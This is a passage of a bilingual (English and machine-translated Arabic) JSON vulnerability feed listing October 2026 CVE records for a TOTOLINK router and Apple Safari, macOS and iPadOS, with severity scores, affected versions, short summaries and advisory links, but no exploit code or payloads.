استخدامها."},"refs":[["https://vuldb.com/cve/CVE-2026-116506","advisory"],["https://vuldb.com/submit/1022555","advisory"],["https://gist.github.com/H3rmesk1t/1046036a8601e93f375754e11307bfc8","ref"],["https://vuldb.com/vuln/426404","ref"],["https://vuldb.com/vuln/426404/cti","ref"],["https://www.totolink.net/","ref"]],"epss":0.0188,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"totolink-a950rg"},{"id":"CVE-2026-116505","cvss":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H","cwe":"CWE-74","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-26T21:18:12Z","product":"TOTOLINK A950RG","affected":[["4.1.2cu.5268_B20221104",null]],"title":{"en":"TOTOLINK A950RG device-information udhcpd.leases getDeviceInfo command injection","ar":"حقن أوامر في udhcpd.leases لمعلومات الجهاز في TOTOLINK A950RG"},"summary":{"en":"A vulnerability was found in TOTOLINK A950RG 4.1.2cu.5268_B20221104. This impacts the function getDeviceInfo of the file /var/lib/misc/udhcpd.leases of the component device-information Handler. The manipulation of the argument MAC address results in command injection. The attack can be launched remotely. The exploit has been made public and could be used.","ar":"تم اكتشاف ثغرة في الإصدار 4.1.2cu.5268_B20221104 من TOTOLINK A950RG. يؤثر هذا على دالة getDeviceInfo في الملف /var/lib/misc/udhcpd.leases التابع لمكون معالج معلومات الجهاز. يؤدي التلاعب بمعامل عنوان MAC إلى حقن أوامر. يمكن شن الهجوم عن بُعد، وقد تم جعل استغلال الثغرة علنيًا ويمكن استخدامها."},"refs":[["https://vuldb.com/cve/CVE-2026-116505","advisory"],["https://vuldb.com/submit/1022554","advisory"],["https://gist.github.com/H3rmesk1t/836a8c4be24fcc4b7041b4bbe9cbb178","ref"],["https://vuldb.com/vuln/426403","ref"],["https://vuldb.com/vuln/426403/cti","ref"],["https://www.totolink.net/","ref"]],"epss":0.0274,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"totolink-a950rg"},{"id":"CVE-2026-113949","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-843","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T21:18:11Z","product":"Apple Safari","affected":[[" – <27.2","27.2"],[" – <26.7.2","26.7.2"],["27.0 – <27.2","27.2"]],"title":{"en":"A type confusion issue was addressed with improved state management.","ar":"معالجة مشكلة خلط الأنواع من خلال تحسين إدارة الحالة."},"summary":{"en":"A type confusion issue was addressed with improved state management. This issue is fixed in Safari 27.2, iOS 26.7.2 and iPadOS 26.7.2, iOS 27.2 and iPadOS 27.2, macOS Golden Gate 27.2, visionOS 27.2. Processing maliciously crafted web content may lead to memory corruption.","ar":"تمت معالجة مشكلة خلط الأنواع من خلال تحسين إدارة الحالة. تم إصلاح هذه المشكلة في Safari 27.2 و iOS 26.7.2 و iPadOS 26.7.2 و iOS 27.2 و iPadOS 27.2 و macOS Golden Gate 27.2 و visionOS 27.2. قد تؤدي معالجة محتوى ويب مصمم بشكل خبيث إلى تلف الذاكرة."},"refs":[["https://support.apple.com/en-us/149227","advisory"],["https://support.apple.com/en-us/149230","advisory"],["https://support.apple.com/en-us/149521","advisory"],["https://support.apple.com/en-us/149526","advisory"],["https://support.apple.com/en-us/149527","advisory"]],"epss":0.0019,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"apple-safari"},{"id":"CVE-2026-113941","cvss":7.1,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H","cwe":"CWE-125","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T21:18:10Z","product":"Apple Macos","affected":[["27.0 – <27.2","27.2"]],"title":{"en":"An out-of-bounds read was addressed with improved bounds checking.","ar":"تمت معالجة قراءة خارج الحدود من خلال تحسين التحقق من الحدود."},"summary":{"en":"An out-of-bounds read was addressed with improved bounds checking. This issue is fixed in macOS Golden Gate 27.2. An app may be able to cause unexpected system termination or read kernel memory.","ar":"تمت معالجة قراءة خارج الحدود من خلال تحسين التحقق من الحدود. تم إصلاح هذه المشكلة في macOS Golden Gate 27.2. قد يتمكن أحد التطبيقات من التسبب في إنهاء غير متوقع للنظام أو قراءة ذاكرة النواة."},"refs":[["https://support.apple.com/en-us/149521","advisory"]],"epss":0.0015,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"apple-macos"},{"id":"CVE-2026-113942","cvss":7.1,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H","cwe":"CWE-125","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T21:18:10Z","product":"Apple Macos","affected":[["27.0 – <27.2","27.2"]],"title":{"en":"An out-of-bounds read was addressed with improved bounds checking.","ar":"تمت معالجة قراءة خارج الحدود من خلال تحسين التحقق من الحدود."},"summary":{"en":"An out-of-bounds read was addressed with improved bounds checking. This issue is fixed in macOS Golden Gate 27.2. An app may be able to cause unexpected system termination or read kernel memory.","ar":"تمت معالجة قراءة خارج الحدود من خلال تحسين التحقق من الحدود. تم إصلاح هذه المشكلة في macOS Golden Gate 27.2. قد يتمكن أحد التطبيقات من التسبب في إنهاء غير متوقع للنظام أو قراءة ذاكرة النواة."},"refs":[["https://support.apple.com/en-us/149521","advisory"]],"epss":0.0016,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"apple-macos"},{"id":"CVE-2026-113944","cvss":7.1,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H","cwe":"CWE-125","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T21:18:10Z","product":"Apple Macos","affected":[["27.0 – <27.2","27.2"]],"title":{"en":"An out-of-bounds read was addressed with improved bounds checking.","ar":"تمت معالجة قراءة خارج الحدود من خلال تحسين التحقق من الحدود."},"summary":{"en":"An out-of-bounds read was addressed with improved bounds checking. This issue is fixed in macOS Golden Gate 27.2. An app may be able to cause unexpected system termination or read kernel memory.","ar":"تمت معالجة قراءة خارج الحدود من خلال تحسين التحقق من الحدود. تم إصلاح هذه المشكلة في macOS Golden Gate 27.2. قد يتمكن أحد التطبيقات من التسبب في إنهاء غير متوقع للنظام أو قراءة ذاكرة النواة."},"refs":[["https://support.apple.com/en-us/149521","advisory"]],"epss":0.0015,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"apple-macos"},{"id":"CVE-2026-113946","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-787","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T21:18:10Z","product":"Apple Macos","affected":[["27.0 – <27.2","27.2"],["0 – <27.2","27.2"]],"title":{"en":"An out-of-bounds write issue was addressed with improved bounds checking.","ar":"تمت معالجة مشكلة الكتابة خارج الحدود من خلال تحسين التحقق من الحدود."},"summary":{"en":"An out-of-bounds write issue was addressed with improved bounds checking. This issue is fixed in macOS Golden Gate 27.2. An app may be able to cause unexpected system termination or corrupt kernel memory.","ar":"تمت معالجة مشكلة الكتابة خارج الحدود من خلال تحسين التحقق من الحدود. تم إصلاح هذه المشكلة في macOS Golden Gate 27.2. قد يتمكن أحد التطبيقات من التسبب في إنهاء غير متوقع للنظام أو إتلاف ذاكرة النواة."},"refs":[["https://support.apple.com/en-us/149521","advisory"]],"epss":0.0015,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"apple-macos"},{"id":"CVE-2026-113934","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":null,"tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T21:18:09Z","product":"Apple Macos","affected":[["27.0 – <27.2","27.2"]],"title":{"en":"The issue was addressed with improved memory handling.","ar":"تمت معالجة المشكلة من خلال تحسين التعامل مع الذاكرة."},"summary":{"en":"The issue was addressed with improved memory handling. This issue is fixed in macOS Golden Gate 27.2. An app may be able to cause unexpected system termination or corrupt kernel memory.","ar":"تمت معالجة المشكلة من خلال تحسين التعامل مع الذاكرة. تم إصلاح هذه المشكلة في macOS Golden Gate 27.2. قد يتمكن أحد التطبيقات من التسبب في إنهاء غير متوقع للنظام أو إتلاف ذاكرة النواة."},"refs":[["https://support.apple.com/en-us/149521","advisory"]],"epss":0.0016,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"apple-macos"},{"id":"CVE-2026-113912","cvss":7.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:H","cwe":"CWE-125","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T21:18:08Z","product":"Apple Ipados","affected":[[" – <26.7.2","26.7.2"],["27.0 – <27.2","27.2"],[" – <15.8.2","15.8.2"],["26.0 – <26.7.2","26.7.2"],[" – <27.2","27.2"]],"title":{"en":"An out-of-bounds access issue was addressed with improved bounds checking.","ar":"تمت معالجة مشكلة الوصول خارج حدود الذاكرة من خلال تحسين التحقق من الحدود."},"summary":{"en":"An out-of-bounds access issue was addressed with improved bounds checking. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27.2 and iPadOS 27.2, macOS Golden Gate 27.2, macOS Sequoia 15.8.2, macOS Tahoe 26.7.2, tvOS 27.2, visionOS 27.2. Processing a maliciously crafted media file may lead to unexpected app termination or corrupt process memory.","ar":"تمت معالجة مشكلة الوصول خارج حدود الذاكرة من خلال تحسين التحقق من الحدود. تمت صيانة هذه المشكلة في iOS 26.7 وiPadOS 26.7، وiOS 27.2 وiPadOS 27.2، وmacOS Golden Gate 27.2، وmacOS Sequoia 15.8.2، وmacOS Tahoe 26.7.2، وtvOS 27.2، وvisionOS 27.2. قد تؤدي معالجة ملف وسائط مُصمم بشكل خبيث إلى إنهاء غير متوقع للتطبيق أو تلف ذاكرة العمليات."},"refs":[["https://support.apple.com/en-us/149041","advisory"],["https://support.apple.com/en-us/149230","advisory"],["https://support.apple.com/en-us/149521","advisory"],["https://support.apple.com/en-us/149522","advisory"],["https://support.apple.com/en-us/149523","advisory"],["https://support.apple.com/en-us/149524","advisory"],["https://support.apple.com/en-us/149526","advisory"]],"epss":0.0038,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"apple-ipados"},{"id":"CVE-2026-113909","cvss":8,"vector":"CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-787","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T21:18:08Z","product":"Apple Ipados","affected":[[" – <26.7.2","26.7.2"],["27.0 – <27.2","27.2"],[" – <27.2","27.2"]],"title":{"en":"A memory corruption issue was addressed with improved input validation.","ar":"تم معالجة مشكلة تلف في الذاكرة من خلال التحقق المحسّن من المدخلات."},"summary":{"en":"A memory corruption issue was addressed with improved input validation. This issue is fixed in iOS 26.7.2 and iPadOS 26.7.2, iOS 27.2 and iPadOS 27.2, macOS Golden Gate 27.2, visionOS 27.2. An attacker in physical proximity may be able to corrupt process memory.","ar":"تم معالجة مشكلة تلف في الذاكرة من خلال التحقق المحسّن من المدخلات. تم إصلاح هذه المشكلة في iOS 26.7.2 و iPadOS 26.7.2 و iOS 27.2 و iPadOS 27.2 و macOS Golden Gate 27.2 و visionOS 27.2. قد يتمكن مهاجم في القرب الجسدي من إحداث تلف في ذاكرة العملية."},"refs":[["https://support.apple.com/en-us/149227","advisory"],["https://support.apple.com/en-us/149230","advisory"],["https://support.apple.com/en-us/149521","advisory"],["https://support.apple.com/en-us/149526","advisory"]],"epss":0.0023,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"apple-ipados"},{"id":"CVE-2026-113897","cvss":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","cwe":"CWE-693","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T21:18:06Z","product":"Apple Safari","affected":[[" – <27.2","27.2"],["27.0 – <27.2","27.2"],["0 – <27.2","27.2"]],"title":{"en":"This issue was addressed by removing the vulnerable code.","ar":"تمت معالجة هذه المشكلة عبر إزالة الشيفرة المصابة."},"summary":{"en":"This issue was addressed by removing the vulnerable code. This issue is fixed in Safari 27.2, iOS 27.2 and iPadOS 27.2, macOS Golden Gate 27.2, visionOS 27.2. A remote attacker may be able to break out of Web Content sandbox.","ar":"تمت معالجة هذه المشكلة عبر إزالة الشيفرة المصابة. تم إصلاح هذه المشكلة في Safari 27.2 و iOS 27.2 و iPadOS 27.2 و macOS Golden Gate 27.2 و visionOS 27.2. قد يتمكن مهاجم عن بُعد من كسر نطاق الحماية لـ Web Content sandbox."},"refs":[["https://support.apple.com/en-us/149230","advisory"],["https://support.apple.com/en-us/149521","advisory"],["https://support.apple.com/en-us/149526","advisory"],["https://support.apple.com/en-us/149527","advisory"]],"epss":0.0035,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"apple-safari"},{"id":"CVE-2026-112697","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-416","tags":["RCE"],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T21:18:04Z","product":"Apple Safari","affected":[["0 – <27.2","27.2"],["0 – <26.7.2","26.7.2"],[" – <27.2","27.2"],[" – <26.7.2","26.7.2"],["27.0 – <27.2","27.2"]],"title":{"en":"A use-after-free issue was addressed with improved memory management.","ar":"معالجة مشكلة استخدام الذاكرة بعد تحريرها عبر تحسين إدارة الذاكرة."},"summary":{"en":"A use-after-free issue was addressed with improved memory management. This issue is fixed in Safari 27.2, iOS 26.7.2 and iPadOS 26.7.2, iOS 27.2 and iPadOS 27.2, macOS Golden Gate 27.2, tvOS 27.2, visionOS 27.2, watchOS 27.2. Processing maliciously crafted web content may lead to arbitrary code execution.","ar":"معالجة مشكلة استخدام الذاكرة بعد تحريرها عبر تحسين إدارة الذاكرة. تم إصلاح هذه الثغرة في Safari 27.2 وiOS 26.7.2 وiPadOS 26.7.2 وiOS 27.2 وiPadOS 27.2 وmacOS Golden Gate 27.2 وtvOS 27.2 وvisionOS 27.2 وwatchOS 27.2. قد تؤدي معالجة محتوى شبكي مُصمم بنية خبيثة إلى تنفيذ شيفرة عشوائية."},"refs":[["https://support.apple.com/en-us/149227","advisory"],["https://support.apple.com/en-us/149230","advisory"],["https://support.apple.com/en-us/149521","advisory"],["https://support.apple.com/en-us/149524","advisory"],["https://support.apple.com/en-us/149525","advisory"],["https://support.apple.com/en-us/149526","advisory"],["https://support.apple.com/en-us/149527","advisory"]],"epss":0.0056,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"apple-safari"},{"id":"CVE-2026-112696","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-787","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T21:18:04Z","product":"Apple Ipados","affected":[[" – <27.2","27.2"],["15.0 – <15.8.2","15.8.2"],["26.0 – <26.7.2","26.7.2"],["27.0 – <27.2","27.2"],["0 – <27.2","27.2"],["0 – <15.8.2","15.8.2"],["0 – <26.7.2","26.7.2"]],"title":{"en":"An out-of-bounds write issue was addressed with improved bounds checking.","ar":"معالجة مشكلة كتابة خارج الحدود من خلال تحسين التحقق من الحدود."},"summary":{"en":"An out-of-bounds write issue was addressed with improved bounds checking. This issue is fixed in iOS 27.2 and iPadOS 27.2, macOS Golden Gate 27.2, macOS Sequoia 15.8.2, macOS Tahoe 26.7.2, visionOS 27.2. An app may be able to cause unexpected system termination or corrupt kernel memory.","ar":"تمت معالجة مشكلة كتابة خارج الحدود من خلال تحسين التحقق من الحدود. تم إصلاح هذه المشكلة في iOS 27.2 و iPadOS 27.2 و macOS Golden Gate 27.2 و macOS Sequoia 15.8.2 و macOS Tahoe 26.7.2 و visionOS 27.2. قد يتمكن أحد التطبيقات من التسبب في إنهاء غير متوقع للنظام أو إفساد ذاكرة النواة."},"refs":[["https://support.apple.com/en-us/149230","advisory"],["https://support.apple.com/en-us/149521","advisory"],["https://support.apple.com/en-us/149522","advisory"],["https://support.apple.com/en-us/149523","advisory"],["https://support.apple.com/en-us/149526","advisory"]],"epss":0.0021,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"apple-ipados"},{"id":"CVE-2026-112688","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-119","tags":["RCE"],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T21:18:03Z","product":"Apple Ipados","affected":[[" – <26.7","26.7"],["27.0 – <27.2","27.2"],[" – <15.8.2","15.8.2"],["26.0 – <26.7.2","26.7.2"],["0 – <26.7","26.7"],["0 – <27.2","27.2"],["0 – <15.8.2","15.8.2"],["0 – <26.7.2","26.7.2"]],"title":{"en":"A memory corruption issue was addressed with improved memory handling.","ar":"تم معالجة مشكلة إفساد الذاكرة من خلال تحسين التعامل مع الذاكرة."},"summary":{"en":"A memory corruption issue was addressed with improved memory handling. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27.2 and iPadOS 27.2, macOS Golden Gate 27.2, macOS Sequoia 15.8.2, macOS Tahoe 26.7.2. Parsing a file may lead to an unexpected app termination or arbitrary code execution.","ar":"تم معالجة مشكلة إفساد الذاكرة من خلال تحسين التعامل مع الذاكرة. تم إصلاح هذه المشكلة في iOS 26.7 و iPadOS 26.7 و iOS 27.2 و iPadOS 27.2 و macOS Golden Gate 27.2 و macOS Sequoia 15.8.2 و macOS Tahoe 26.7.2. قد يؤدي تحليل ملف إلى إنهاء غير متوقع للتطبيق أو تنفيذ شيفرة عشوائية."},"refs":[["https://support.apple.com/en-us/149041","advisory"],["https://support.apple.com/en-us/149230","advisory"],["https://support.apple.com/en-us/149521","advisory"],["https://support.apple.com/en-us/149522","advisory"],["https://support.apple.com/en-us/149523","advisory"]],"epss":0.0064,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"apple-ipados"},{"id":"CVE-2026-112689","cvss":8.4,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-787","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T21:18:03Z","product":"Apple Ipados","affected":[[" – <26.7.2","26.7.2"],["27.0 – <27.2","27.2"],["15.0 – <15.8.2","15.8.2"],["26.0 – <26.7.2","26.7.2"],[" – <27.2","27.2"]],"title":{"en":"An out-of-bounds write issue was addressed with improved input validation.","ar":"معالجة مشكلة كتابة خارج الحدود من خلال تحسين التحقق من صحة المدخلات."},"summary":{"en":"An out-of-bounds write issue was addressed with improved input validation. This issue is fixed in iOS 26.7.2 and iPadOS 26.7.2, iOS 27.2 and iPadOS 27.2, macOS Golden Gate 27.2, macOS Sequoia 15.8.2, macOS Tahoe 26.7.2, tvOS 27.2. An app may be able to cause unexpected system termination or corrupt kernel memory.","ar":"تمت معالجة مشكلة كتابة خارج الحدود من خلال تحسين التحقق من صحة المدخلات. تم إصلاح هذه المشكلة في iOS 26.7.2 و iPadOS 26.7.2 و iOS 27.2 و iPadOS 27.2 و macOS Golden Gate 27.2 و macOS Sequoia 15.8.2 و macOS Tahoe 26.7.2 و tvOS 27.2. قد يتمكن أحد التطبيقات من التسبب في إنهاء غير متوقع للنظام أو إفساد ذاكرة النواة."},"refs":[["https://support.apple.com/en-us/149227","advisory"],["https://support.apple.com/en-us/149230","advisory"],["https://support.apple.com/en-us/149521","advisory"],["https://support.apple.com/en-us/149522","advisory"],["https://support.apple.com/en-us/149523","advisory"],["https://support.apple.com/en-us/149524","advisory"]],"epss":0.0023,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"apple-ipados"},{"id":"CVE-2026-112690","cvss":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","cwe":"CWE-22","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T21:18:03Z","product":"Apple Ipados","affected":[[" – <26.7.2","26.7.2"],["27.0 – <27.2","27.2"],["15.0 – <15.8.2","15.8.2"],["26.0 – <26.7.2","26.7.2"],[" – <27.2","27.2"],["0 – <26.7.2","26.7.2"],["0 – <27.2","27.2"],["0 – <15.8.2","15.8.2"]],"title":{"en":"This issue was addressed with improved input validation.","ar":"معالجة هذه المشكلة من خلال تحسين التحقق من صحة المدخلات."},"summary":{"en":"This issue was addressed with improved input validation. This issue is fixed in iOS 26.7.2 and iPadOS 26.7.2, iOS 27.2 and iPadOS 27.2, macOS Golden Gate 27.2, macOS Sequoia 15.8.2, macOS Tahoe 26.7.2, visionOS 27.2. A remote attacker may be able to break out of the WebContent sandbox.","ar":"تمت معالجة هذه المشكلة من خلال تحسين التحقق من صحة المدخلات. تم إصلاح هذه المشكلة في iOS 26.7.2 و iPadOS 26.7.2 و iOS 27.2 و iPadOS 27.2 و macOS Golden Gate 27.2 و macOS Sequoia 15.8.2 و macOS Tahoe 26.7.2 و visionOS 27.2. قد يتمكن مهاجم عن بُعد من الهروب من بيئة الحماية WebContent."},"refs":[["https://support.apple.com/en-us/149227","advisory"],["https://support.apple.com/en-us/149230","advisory"],["https://support.apple.com/en-us/149521","advisory"],["https://support.apple.com/en-us/149522","advisory"],["https://support.apple.com/en-us/149523","advisory"],["https://support.apple.com/en-us/149526","advisory"]],"epss":0.0035,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"apple-ipados"},{"id":"CVE-2026-112677","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-862","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T21:18:01Z","product":"Apple macOS","affected":[["0 – <15.8.2","15.8.2"],["0 – <26.7.2","26.7.2"],["0 – <27.2","27.2"],[" – <15.8.2","15.8.2"],["26.0 – <26.7.2","26.7.2"],["27.0 – <27.2","27.2"]],"title":{"en":"An authorization issue was addressed with improved access control.","ar":"معالجة مشكلة تفويض باستخدام تحكم محسّن في الوصول."},"summary":{"en":"An authorization issue was addressed with improved access control. This issue is fixed in macOS Golden Gate 27.2, macOS Sequoia 15.8.2, macOS Tahoe 26.7.2. An application may be able to execute arbitrary code with system privileges.","ar":"تمت معالجة مشكلة تفويض باستخدام تحكم محسّن في الوصول. تم إصلاح هذه المشكلة في macOS Golden Gate 27.2 وmacOS Sequoia 15.8.2 وmacOS Tahoe 26.7.2. قد يتمكن تطبيق ما من تنفيذ شيفرة عشوائية بصلاحيات النظام."},"refs":[["https://support.apple.com/en-us/149521","advisory"],["https://support.apple.com/en-us/149522","advisory"],["https://support.apple.com/en-us/149523","advisory"]],"epss":0.002,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"apple-macos"},{"id":"CVE-2026-112670","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-787","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T21:18:00Z","product":"Apple Macos","affected":[["15.0 – <15.8.2","15.8.2"],["26.0 – <26.7.2","26.7.2"],["27.0 – <27.2","27.2"]],"title":{"en":"An out-of-bounds write issue was addressed with improved input validation.","ar":"تمت معالجة مشكلة كتابة خارج حدود الذاكرة من خلال تحسين التحقق من صحة المدخلات."},"summary":{"en":"An out-of-bounds write issue was addressed with improved input validation. This issue is fixed in macOS Golden Gate 27.2, macOS Sequoia 15.8.2, macOS Tahoe 26.7.2. Processing a maliciously crafted file may lead to heap corruption.","ar":"تمت معالجة مشكلة كتابة خارج حدود الذاكرة من خلال تحسين التحقق من صحة المدخلات. تم إصلاح هذه المشكلة في macOS Golden Gate 27.2 وmacOS Sequoia 15.8.2 وmacOS Tahoe 26.7.2. قد تؤدي معالجة ملف مُصمم بطريقة خبيثة إلى تلف ذاكرة التخزين المؤقت."},"refs":[["https://support.apple.com/en-us/149521","advisory"],["https://support.apple.com/en-us/149522","advisory"],["https://support.apple.com/en-us/149523","advisory"]],"epss":0.0023,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"apple-macos"},{"id":"CVE-2026-112671","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cwe":"CWE-770","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T21:18:00Z","product":"Apple Ipados","affected":[[" – <26.7.2","26.7.2"],["27.0 – <27.2","27.2"],["15.0 – <15.8.2","15.8.2"],["26.0 – <26.7.2","26.7.2"],[" – <27.2","27.2"]],"title":{"en":"A resource exhaustion issue was addressed with improved input validation.","ar":"تمت معالجة مشكلة استنفاد الموارد من خلال تحسين التحقق من صحة المدخلات."},"summary":{"en":"A resource exhaustion issue was addressed with improved input validation. This issue is fixed in iOS 26.7.2 and iPadOS 26.7.2, iOS 27.2 and iPadOS 27.2, macOS Golden Gate 27.2, macOS Sequoia 15.8.2, macOS Tahoe 26.7.2, visionOS 27.2. A remote attacker may be able to cause a denial-of-service.","ar":"تمت معالجة مشكلة استنفاد الموارد من خلال تحسين التحقق من صحة المدخلات. تم إصلاح هذه المشكلة في iOS 26.7.2 وiPadOS 26.7.2 وiOS 27.2 وiPadOS 27.2 وmacOS Golden Gate 27.2 وmacOS Sequoia 15.8.2 وmacOS Tahoe 26.7.2 وvisionOS 27.2. قد يتمكن مهاجم عن بُعد من التسبب في حجب الخدمة."},"refs":[["https://support.apple.com/en-us/149227","advisory"],["https://support.apple.com/en-us/149230","advisory"],["https://support.apple.com/en-us/149521","advisory"],["https://support.apple.com/en-us/149522","advisory"],["https://support.apple.com/en-us/149523","advisory"],["https://support.apple.com/en-us/149526","advisory"]],"epss":0.0035,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"apple-ipados"},{"id":"CVE-2026-112659","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-843","tags":["RCE"],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T21:17:59Z","product":"Apple Safari","affected":[[" – <27.2","27.2"],[" – <26.7.2","26.7.2"],["27.0 – <27.2","27.2"]],"title":{"en":"A type confusion issue was addressed with improved memory handling.","ar":"معالجة مشكلة خلط الأنواع من خلال تحسين التعامل مع الذاكرة."},"summary":{"en":"A type confusion issue was addressed with improved memory handling. This issue is fixed in Safari 27.2, iOS 26.7.2 and iPadOS 26.7.2, iOS 27.2 and iPadOS 27.2, macOS Golden Gate 27.2, visionOS 27.2. Processing maliciously crafted web content may lead to arbitrary code execution.","ar":"تمت معالجة مشكلة خلط الأنواع من خلال تحسين التعامل مع الذاكرة. تم إصلاح هذه المشكلة في الإصدارات Safari 27.2 و iOS 26.7.2 و iPadOS 26.7.2 و iOS 27.2 و iPadOS 27.2 و macOS Golden Gate 27.2 و visionOS 27.2. قد تؤدي معالجة محتوى وُب مصمم بشكل خبيث إلى تنفيذ أوامر عن بُعد."},"refs":[["https://support.apple.com/en-us/149227","advisory"],["https://support.apple.com/en-us/149230","advisory"],["https://support.apple.com/en-us/149521","advisory"],["https://support.apple.com/en-us/149526","advisory"],["https://support.apple.com/en-us/149527","advisory"]],"epss":0.0056,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"apple-safari"},{"id":"CVE-2026-112655","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-416","tags":["RCE"],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T21:17:59Z","product":"Apple Safari","affected":[[" – <27.2","27.2"],[" – <26.7.2","26.7.2"],["27.0 – <27.2","27.2"]],"title":{"en":"A use-after-free issue was addressed with improved memory management.","ar":"تم معالجة مشكلة استخدام الذاكرة بعد تحريرها من خلال تحسين إدارة الذاكرة."},"summary":{"en":"A use-after-free issue was addressed with improved memory management. This issue is fixed in Safari 27.2, iOS 26.7.2 and iPadOS 26.7.2, iOS 27.2 and iPadOS 27.2, macOS Golden Gate 27.2, tvOS 27.2, visionOS 27.2, watchOS 27.2. Processing maliciously crafted web content may lead to arbitrary code execution.","ar":"تم معالجة مشكلة استخدام الذاكرة بعد تحريرها من خلال تحسين إدارة الذاكرة. تم حل هذه المشكلة في Safari 27.2 و iOS 26.7.2 و iPadOS 26.7.2 و iOS 27.2 و iPadOS 27.2 و macOS Golden Gate 27.2 و tvOS 27.2 و visionOS 27.2 و watchOS 27.2. قد تؤدي 